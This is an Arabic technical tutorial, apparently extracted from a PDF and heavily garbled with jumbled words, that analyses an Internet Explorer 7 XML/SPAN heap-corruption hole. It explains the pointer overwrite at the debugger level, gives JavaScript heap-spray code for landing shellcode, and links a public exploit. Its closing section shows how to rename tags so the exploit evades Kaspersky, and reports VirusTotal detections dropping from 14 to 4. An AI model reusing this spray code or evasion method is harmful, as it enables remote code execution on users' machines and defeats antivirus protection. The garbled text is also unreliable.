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.بسم االله الرحمن الرحیم

الیوم ان شاء االله سنتطرق للتحلیل التقني لثغرة المتصفح حیث سیشمل ذلك تحلیل الإستثمار وتحديد 

.مكان الخطأ وشرح لطريقة الإستثمارة الرائعة في ذلك

1-:

ھذه الثغرة من أخطر الثغرات التي انتشرت في ھذه الآونة الأخیرة من ناحیة انھا ذات تأثیر بالغ تعتبر 

Code)فھي تسمح بتشغیل اكواد ضارة Execution) في اجھزة المستخدمین،مايعني ھذا ھو تعريضھا

:لخطر فعلي يتمثل في

.او انتھاك لخصوصیتهتحمیل فیروسات او احصنة طروادة للجھاز مما يعرض صاحبه لفقدان-1

.او فتح قناة او منفذ يسمح للمستخدم بالدخول المباشر و الغیر مصرح للجھاز-2

و Symantecممما يجعلھا كما سبق ذكر من اخطر الثغرات التي ارتفع من اجلھا مؤشر الخطورة لدى 

Spreadingكدلیل على ذلك قامت مجموعة من الفیروسات بإستعمالھا كـ  Vulnerability اي ثغرة تنتشر

من خلالھا،و بالعودة إلى اصل الثغرة ومكتشفھا فإن الإستثمار انتشر سھوا من خلال باحثین صینین 

15,000$نوفمبر اي قبل نشرھا كانت تباع في منتیديات و وصل سعرھا إلى 15وقیل ان الثغرة في 

Theع وھذا الخبر من موق Register

2:

،لنلقي نظرة على البیانات التي تحدث الثغرة HTMLفي صفحة XMLالثغرة تحدث اثناء معالجة مستند

:شاھد الصورة

،الصفحة تحتوي على وسوم خاصة التي HTMLداخل صفحة XMLكما تلاحظ الصفحة عبارة عن مستند 

.بالأخضرإطارعلیھا 
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:لكي يكون الشرح واضحا اكثراXMLربما علینا التطرق لمفھوم 

XML و المتصفح عند تعامله مع أن البرامج أإيالبیاناتھي ان صح التعبیر عبارة عن لغة أتت لوصف

،tagsيحدد صفة للبیانات ونوعھا ھي الأوسمةفإنه سیتعامل مع نوع البیانات وماXMLبیانات من نوع 

انھا تجعل لك وسوم خاصة وھذا ما اعتقد انه الأمر المھم وھذا ھو الغرض XMLوالمرونة التي تقدمھا

الرئیسي من اللغة،لنفرض انك تتعامل مع بیانات ما يتم نقلھا عبر الأنترنت ولتكن طلبات شراء مثلا وھذه 

صعب لذلك أمروإشكالنصوص أساسجھة المعینة فإن التعامل معھا على البیانات لما تصل إلى ال

:خاصة على سبیل المثالأوسمةباستعمالXMLاستخدامولتسھیل الأمر العملیة يتم 

:كود

<request>

<book>hacking</book>

<price>15000$</price>

<request>

، فھذا Hackingو اسم الكتاب ھو$15000وسیتم معالجتھا كما ھي موضوعة يعني سعر الكتاب ھو 

.وما تعني الأوسمة الخاصةXMLبإختصار يوضح فائدة 

.نعود للموضوع

:طرة بالأخضر ھيأخاصة مأوسمةيحوي الاستثمارإنوكما قلنا سابقا 

<X> و<C>علیھا في تخطي برامج الحمايةتمدتنسى ھذه الأوسمة لأننا سنعلا.

:الأمر الآخر ھو ھذا

:كود

[CDATA[.....image link here....]]

XMLـالخاص بParserأوغويلالللمحلل يوحيXMLطر باللون البني ھذا الوسم في لغة ؤالوسم الم

بیانات لا يتم معالجتھا لكي عنعبارةالعارضتینخل ادبأن ماXMLوھو الذي يقوم بتحلیل مستندات

.تفھم ھذا يجب ان تعرف ان اصل الثغرة ھو ذلك الرابط

ضارة وھذا ما كوادأبايت من اسم الموقع على مؤشر مما يتسبب في تشغیل أربعةأولحیث يتم كتابة 

.سنتطرق إلیه بعد قلیل

على ،موجود بین الأوسمة ما ھويقوم بمعالجة ParserـفالـXMLالتعامل مع مستندات أثناءبصفة عامة 

:سبیل المثال

كود

<test>im text</test>

imيقوم بمعالجةParserھنا الـ textترى لماذا؟ لأنه في بعض الأحیان تكون الأوسمة متداخلة فیما يا

:بینھا مثلا

كود

<test><test2>im text</test2><test>

لكن ھنالك <test2>لیعرف انه يوجد وسم آخر ھو <test>ما بداخل الوسم لذلك علیه معالجة

الأكواد أنوكلنا يعلم أوسمةداخل HTMLجافا سكريبت او كوادبإرفاق أقومأنأردتمشكلة ماذا لو 

حیث انه CDATAھاتین العلامیتین ماذا سنفعل؟ ھنا يأتي دور الوسم الخاص<>تحتوي كثیرا على 
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اخطألن يقوم بمعالجته وإظھار Parserالـأنكود تشاء بینه بحیث أيآوHTMLتدخل اكواد أنيتیح لك 

:وھذا مثال على ذلكللبیاناتفي حالة انك ادخل الأكواد من دون ذلك الوسم لأنه سیحصل خلط 

Code :

<test><test2><html>im text<html></test2><test>

الأمر أنأتمنىدور كبیر، CDATAوسملذلك XMLوHTMLأوسمةفكما ترى ھنا ان الأمر سیختلط بین 

الموضوع تحول إلى موضوع برمجة لكن المر مھم جدا ويجب ان نتطرق لجمیع النواحي آنتوضح، اعلم 

.استیعابهلكي يسھل الاستثمارفي 

 ھو عبارة عن وسم من نوعSPAN وھذا الوسم يستعمل في تخصیص

.جزء كما ھو موضحآومستند آواعدادت معینة لنص 

أساسيتم معاملته على أنالمكتوب فوق يجب XMLقالب أنالأول يدل على SPANأنفھناك نرى 

:،لاحظ جیدا الكودHTMLكود

DATASRC=#I وھو مصدر البیانات والذي يشیر إلى I XMLوھو مستند  .وھذا مكتوب في بدايته

DATAFLD=C وھنا يقصد الحقل الذي به الوسمھنا يتم تحديد اكثر  C XMLداخل مستند 

DATAFORMATAS=HTML وھنا طبیعة التعامل مع القالب وكما ھو موضح التعامل على اساس كود 

HTML .

،نفس التعلیمة تم إعادتھا وھي إعلام المتصفح بأن البیانات يجب ...لكن ألا ترى امر غريب في الصفحة

.HTMLان يتم تعاملتھا على اساس

Heapوھنا المشكلة العظمى حیث ان وضع الوسم داخل نفسه يسبب ما يسمى ب  Corruption

.على مؤشر لكائن او دالة معینة-المؤطرة باللون الأحمر-بیتات من اسم الھوست 4والذي يسمح بكتابة 

:

وضع نقطة توقف وذلك بعد تشغیل 7EA81DDCواذھب للعنوان التالي OllyDbgفي IE7الآن افتح

Iقم بتصفح الملفF9المتصفح في حالة التنقیح بالضغط على FRAME.htmlبإستخدامIE7 بعد فتح

:التالیةالملف مباشرة تجد أن المتصفح توقف عند نقطة التوقف تلك التي بھا التعلیمات

Code :

7EA81DDC MOV ECX,DWORD PTR DS:[EAX]
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مرة أخرى ستجد نفسك عند نفس المكان مرة أخرى لكن مع بعض التغیر قلیلا على F9اضغط

:المسجلات لاحظ الصورة

:الآن لنضع سیناريو لھجوم متوقع يمكن ان يشن على ھذه القطعة من الكود الموجودة فوق في الصورة

Code :

7EA81DDC MOV ECX,DWORD PTR DS:[EAX]

7EA81DDE PUSH EDI

7EA81DDF PUSH EAX

7EA81DE0 CALL DWORD PTR DS:[ECX+84]

إلى -يتات في اغلب الأحیان مؤشراو تكون ھذه الأربع ب-ربعة بايتات أالكود المكتوب فوق يقوم بنقل 

تان التعلیمتان لا تھمنا اإلى المكدس ھEAXو EDIثم يقوم بدفع محتويات المسجلین ECXالمسجل 

استعمالهفإنه سیتم يتات عبارة عن مؤشراھذه الأربع بإنلكن الأھم ھي التعلیمة الموالیة،وكما قلت 

إلى 84تكون بإضافة الاستدعاءعملیة إنوتنفیذ محتوياتھا بتعلیمة القفزة الأمر ھنا يختلف قلیلا وھو 

.المؤشر وھذا الأمر لا يشكل فارقا

.دعنا الآن نقترح سیناريو للھجوم

لاحظ معي لو اننا ...ما نريده ھو ان نجعل البرنامج يقوم بتشغیل شل كود الخاص بنا فكیف نصل إلى ذلك

ن للشل كود وجعله يشیر إلى عنوان ھذا العنوان يحتوي على عنواEAXنقوم بالسیطرة على المسجل 

وھذا العنوان بدوره يحتوي على عنوان وھذا 0x04213326مثلا يشیر إلى العنوان EAXانأيالخاص بنا 

ECXالأخیر يشیر إلى شل كود خاص بنا،ومن ثم سیتم نقل عنوان الشل كود الخاص بنا إلى المسجل 

الاستدعاء،فبذلك بعد الوصول لتعلیمة 

Code :

CALL DWORD PTR DS:[ECX+84]

ECXفإن البرنامج سیقفز لمحتويات المسجل  + وعملیة الزيادة لیست مشكلة فیمكننا تخطیتھا 84

او التحكم في المؤشر التي تم نقله لـ EAXالأھم ھو التحكم في المسجل 84او انقاص NOPبإضافة

EAX بوجود تغیر على لا يمكن ان يتم تغیره إلاEAXلاحظ العبارة الأخیرة فھي مھمة لأن مسجل )

.-مؤشر-سیتم نقل البینات المعدلة إلیه EAXمستوى الذاكرة لأن المسجل 

لكن السؤال الذي يطرح نفسه كیف سیتم التعديل على مكان حساس او الوصول إلى مكان تخزين 

.لنا ذلكأتاحتمؤشر في الذاكرة؟ الجواب ھو ببساطة الثغرة التي 

يجب التعامل معه XMLوسم مثله يعلم المتصفح بأن المستند داخل SPANعن طريق تكرير الوسم 

Heapفإنه سیحدث تخیرب في الكومة HTMLعلى اساس  Corruption والذي سیؤدي بدوره إلى

،EAXالكتابة على ذلك المؤشر الذي قلنا انه سیتم نقله إلى المسجل 

في تغزين المؤشرات للكائناتHeapمع العلم ان اغلب البرامج تعتمد على 

وبالتالي حققنا الھدف المنشود وھو ECXوبالتالي في EAXبما اننا الآن استطعنا التحكم في المسجل 
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.الخاص بناتشغیل الكود

لكن ھنالك مشكلة، يعني ھل سنضع عنوان عشوائي وكیف سنستطیع معرفة مكان الشل كود الخاص 

بنا واذا عرفناه فھل سنضمن ان العنوان سیكون مماثل واين سنضع الشل كود ھل سنضعه في صفحة 

HTMLت المتصفح ثم نحاول ايجاده في الذاكرة لأخذ عنوانه؟ لذلك ھنالك تقنیة تستعمل في ثغرا

Heapلتجعلھا اكثر استقرارا وقابلیة للإستثمار وتسمى ھذه التقنیة ــ Sray اول استعمال لھا كان

skylinedمن طرف ھاكر اسمه2005سنة 

:Heap Spray

Heapوكما طرحنا ذلك الكم من التسائلات تأتي تقنیة  Spray لتسھل عملیة الإستثمار، مبدأ ھذه

Invalidالتقنیة ھو اولا ايجاد مكان مناسب للشل كود و الأمر الآخر ھو حل مشكلة  Memory Location

Unicodeوينتج ھذا الأخیر عند التعامل مثلا مع string حیث ان عنوانك التي وضعته سیصبح على ھیئة

unicode) 0مثلا عنوانك ھو )في حالات أخرىأتحدثعن ھذه الثغرة بل أتحدثانا لاx15424546

عنوانك لا أصبحو الآن )بايت2لأن الیونیكود يتم فیه التمثیل لكل محرف بـ (0x15004200سیصبح ھكذا 

Validوجود له لذلك يتم توسیع الكومة إلى ان تجعل من مكانك Location اي مكان موجود في

كبیرة بھا أماكنفأننا سنمدد الكومة وذلك بحجز 0x15000000أ بـ الذاكرة،لنفرض ان عنوان الكومة يبد

.بايت او اكثر لجعل ذلك المكان موجود في الذاكرة4200اننا نقوم بحجز أي15004200لتصل إلى 

نعود لثغرتنا وكما قلنا سابقا ان اول اربعة بايت من عنوان الھوست سیتم كتابتھا على مؤشر الكائن و 

،الآن قمنا 0A0A0A0Aھذه يقابلھا في النظام السداسي عشر &#2570;&#2570ي التي تمثلت ف

ماذا بعد؟ الآن سنقوم بجعل ھذا 0x0A0A0A0Aيشیر إلى EAXبالكتابة على مؤشر الكائن مسجلنا 

ie-sploit.htmlالموجود فيالاستثمارالمكان من الذاكرة موجود وإلا فلا فائدة من ذلك،شاھد كود  :

HEAPملاحظة اني استعملت كودمع  SPRAYخاص بـallinoneتجده في الرابط التالي:

http://www.milw0rm.com/exploits/7477

Heapالكود الخاص بـ Spray:

Code :

var spray = unescape("%u0a0a%u0a0a");

do {

spray += spray;

} while(spray.length < 0xd0000);

memory = new Array();

for(i = 0; i < 100; i++)

memory[i] = spray + shellcode;

يقوم في البداية بتكوين متغیر يحوي بینات rبعد ذلك سي0aيحیوي القیمة sprayكما تلاحظ المتغیر

بايت ومنثم حجز مصفوفة في الذاكرة (بالنظام السداسي عشر0xd0000(851968ذات طول كبیر بطول 

:في السطر التالي

Code :

memory = new Array();

بلوك بھا 100بايت لھا زائد الشل كود مما يشكل لنا 851968ثم يتم ملئھا بحیث يراعا في ذلك نسخ 

0A0A0A لجعله 0x0a0a0a0aلشل كود و ھذا ما سیؤدي بالفعل إلى توسع كبیر وصولا إلى العنوان ا+

مكان متاحا في الذاكرة،شاھد الصورة للبیانات التي تم كتابتھا في الذاكرة والتي نتج عنھا ايجاد او جعل 

:الذي سیحوي الشل كود الخاص بنا0x0a0a0a0aالعنوان 
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وسیواصل عملیة 0x0A0A0A0Aو ھذا عنوان قريب نسبیا من 0A17FFA4لاحظ فوق ستجد العنوان 

.حتى يصل او يفوت العنوان المطلوب ستجد ذلك في الصور تحتBlocksإنشاء

وھل لھذا دخل مع العنوان الذي sprayالموضوعة في المتغیر0A0A0A0Aربما يتسائل البعض ما فائدة 

سینقل التنفیذ؟

ھذا العنوان،نحن نعلم 53629123استعملت عنوان غیر العنوان ھذا ولنفرض مثلا الجواب ھو تخیل انك لو 

Iلأننا جعلناه كذلك في0a0a0a0aسیشیر إلى EAXان FRAM.html في اول &#2570;&#2570بوضع

:اربعة بايت للھوست،الآن سنواجه التعلیم

Code :

MOV ECX,DWORD PTR DS:[EAX]

الذي يحوي 0x53629123التي ستنقل عنوان الشل كود الخاص بنا ھذا يعني انه يجب ان يكون العنوان 

:فتصبح التعلیمة كالتالي0a0a0a0aالشل كود في العنوان 

Code :

MOV ECX,DWORD PTR DS:[0a0a0a0a]

لأن الإتصال يكون84"وبعد اضافة 0x5362909FسیصبحECXومنه 0x5362909Fبه 0a0a0a0aالمكان 

ECX+84" ونكون في الشل كود الخاص بنا53629123ينتج لنا عنواننا.
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:

Heapلكن الأمر لیس بھذه البساطة لأن عملیة ملأ الكومة او توسیع الذاكرة بـ  Spray سیكون صعب

يعني تستلزم حسابات كم سیكون حجمه sprayوسیتم فیه اتخاذ اشیاء بعین الإعتبار منھا طول المتغیر

دقیقة ، وكما يعلم كلنا ان الحسابات الدقیقة في اغلب الأحیان تنتج لنا إستثمارات غیر مستقرة وھذا 

و إستعمالھا في الإستثمارات لعدم NOPراجع إلى متغیرات كثیرة واكبر دلیل على ذلك وجود تعلیمة

ستقلب الإستثمار رئسا على عقب،انا لا معرفة المكان بالضبط والخوف من تغیرات موجودة في النظام

.اقول ان ھذا امر مستحیل فھو ممكن، لكن لما اترك الطريق السھل واتوجه للطريق الصعب

:الآن ماقمنا به ھو

ECXوبالتاليEAXكتبنا على مؤشر كائن موجود في الذاكرة وبالتالي ضمنا السیطرة على المسجل-1

CALLلإتصالوبالتالي تشغیل الكود عن طريق ا EAX+84

مكانا متاحا في الذاكرة لكي نقوم بإستخارج عنوان الشل 0x0A0A0A0Aيجب ان نجعل من المكان -2

HEAPكود منه عن طريق تقنیة SPRAY.

متاحا وذلك بحجز مكان كبیر وملأه ب 0x0A0A0A0Aبإستعمال ھذه الأخیرة تمكننا من جعل العنوان -3

.0Aالقیمة 

في عملھا لذلك لن نقلق من تشغیل الشل كود NOPھو كونھا تشبه تعلیمة0Aل سبب إستعما-4

.واختلاف المكان والخوف من تغیرھا

سیصبح ECXإلي0x0A0A0A0Aالذي يشیر الآن إلى EAXعندما يتم نقل محتويات المسجل-5

0x0A0A0A0Aلأن العنوان الذي كان يشیر لهEAX 0كان يحوي القیمA .

0x0A0A0A8Eسیكون إلى ECX+84ل لالإتصا-6 .

اي لھا نفس العمل،وكما قلنا أنه بعد NOPوالتي تعتبر تعلیما تشبه0Aسنجد عند ذلك المكان القیم -7

:حتما سیأتي الشل كود كما توضحه ھذه العبارةsprayمحتويات المتغیر

Code :

memory[i] = spray + shellcode;

:نصل إلى الشل كود وھا ھو ذا كما توضح الصورةاي اننا سنتدحرج حتا 

وھذا دلیل على اننا حتما سنصل إلى الشل كود 0x0A0A0A0Aوكما تلاحظ إلى العنواين فكلھا تأتي بعد 

بالاستثماربخطوة و الآن سنأتي للتلاعب ةووسیتم تشغیله وبھذا كنا قد شرحنا الإستثمار والثغرة خط

.آخر تحديث2009بطريقة سھلة جربتھا انا وقد تخطیت بھا الكاسبر سكاي 
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Variantسھلةمتغیر بطريقةاستثماربناء  Exploit :

Cو Xلو تتذكر ما قلنه سابقا انه يوجد ھنالك وسمین اختارھما مكتشف الثغرة ھما مؤطران بالون -

.وسمین آخرين ونرى ماذا سیحدثاأيضمن اختیار المبرمج فسنختار نحن إنھمابما -الأخضر

:ما نغیره ھو

<X>إلى<F>ونغیر<C>إلى<H> أمامثم نغیر ما ھو مكتوبDATAFLDإلىH .

:الآن نجرب الفحص بالكاسبر سكاي،نفحص الأصلي اولا شاھد النتیجة

:والآن بعد التعديل

وعندما عدلت نزلت إلى 14یجة الأصلي كانت النتVirusTotalھنالك شیئ آخر ھو اني لما فحصت في

:،وھذا ھو الرابط4

http://www.virustotal.com/analisis/83b8530...29927e0d2052bb8
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اكبر قدر ممكن من المعلومات الأمر صعب قلیلا أخذتمتكونوا قد نأوبھذا نكون قد انھینا الموضوع ارجوا 

.أكثرللفھم والاجتھادلذلك علیك التركیز 

.وتصحیح الأخطاء مقبولللخطأ، فالنقاشھذا يعتبر جھد شخصي قد يكون معرض 

.




